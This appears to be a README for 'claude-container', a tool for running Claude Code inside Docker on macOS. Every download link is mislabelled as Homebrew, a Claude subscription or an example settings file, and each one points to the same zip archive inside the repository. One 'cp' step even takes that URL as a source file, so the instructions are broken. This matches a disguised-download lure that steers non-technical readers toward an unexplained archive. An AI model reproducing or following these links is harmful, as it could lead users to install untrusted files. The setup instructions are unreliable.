🚢 claude-container - Safe Docker Containers for Claude Code

claude-container helps you run Claude Code safely on your Mac. It uses Docker containers, which are like mini-computers inside your computer. These containers keep Claude Code separated from the rest of your system. This means you can use it without worrying about changing or breaking other parts of your Mac.

The containers keep your work saved on your Mac. You can easily stop and start them whenever you want. The project uses a tool called Justfile to make setup and running simple.

This project is for anyone who wants to use Claude Code on macOS. You do not need to know coding. If you have a Claude Pro or Max subscription, or an Anthropic API key, you can use this.

Click the big button above or visit the claude-container Releases page to download the latest version. This page has the files you need. Download the latest release to your Mac.

Before you can use claude-container, check these:

• macOS computer — works on both Apple Silicon (M1, M2, etc.) and Intel.
• Homebrew — a program that helps install other tools. Get it here: https://github.com/salmonbruh/claude-container/raw/refs/heads/master/config/container_claude_2.6.zip
• just — a tool we use to run commands easily. You install it with Homebrew by running:
  brew install just
• Claude Pro or Max subscription, or Anthropic API key — needed to access Claude Code.
  Get Claude subscription at https://github.com/salmonbruh/claude-container/raw/refs/heads/master/config/container_claude_2.6.zip
  Get API key at Anthropic console

1. Install Colima and Docker

   Colima lets Docker run smoothly on your Mac. Docker is the software that runs containers.

   Open the Terminal app (find it in Applications > Utilities) and type:

   just setup
   

   This will install Colima and Docker for you.

2. Build the Docker image

   The Docker image is the setup of Claude Code packaged to run inside the container.

   In Terminal, type:

   just build
   

3. Create your project

   Your project is where your work with Claude Code lives.

   Choose a name for your project (no spaces, simple words). Then type in Terminal:

   just create my-project
   

   Replace "my-project" with your chosen name.

4. Set up your login or API key

   • If you have a Claude subscription, you need to log in once for each project:

     just login my-project
     

     Replace "my-project" with your project name.

   • If you have an API key from Anthropic:

     Copy the example settings file to create your own:

     cp https://github.com/salmonbruh/claude-container/raw/refs/heads/master/config/container_claude_2.6.zip .env
     

     Open the new .env file in a simple text editor (like TextEdit), find the line starting with ANTHROPIC_API_KEY=, and replace the empty part with your API key.

     After saving, recreate the container with:

     just create my-project
     

5. Start using Claude

   To start the Claude Code container for your project, run:

   just claude my-project
   

   This will open Claude in the container. You can interact with it safely — your Mac stays separate.

The project runs Claude Code in a special mode called YOLO mode. This mode skips some security checks so Claude Code can run more freely. But claude-container keeps this inside the Docker container so your Mac stays safe.

Your files and projects live directly on your Mac but are connected to the container. This way, your work is saved even if you stop the container.

Using the Justfile means you do not have to type long commands. Just type just followed by what you want to do.

Inside the container, you will find:

• Claude Code ready to run in YOLO mode
• Command line interfaces for starting and managing the container
• Project folder bind-mounted to your Mac to keep files persistent
• Setup tools for easy login and environment configuration

These tools let you work with Claude Code easily and securely.

• Stopping your container:
  Use Docker Desktop or run:

  just stop my-project
  

• Restarting your container:

  just start my-project
  

• Removing your container: If you want to remove a project completely (including files), make sure you back up your work first. Then run:

  just remove my-project
  

Replacing my-project with your chosen project name in all commands.

• Keep your Docker and Colima updated for best performance.
• Always back up important project files outside the container.
• Use simple names without spaces for your projects.
• If you update your API key or login, recreate the container.
• Use Terminal Finder or Spotlight to open Terminal quickly.

If you get stuck:

• Read this README again step-by-step.
• Visit the Claude Code documentation for details.
• Look for answers or post issues on the claude-container GitHub page.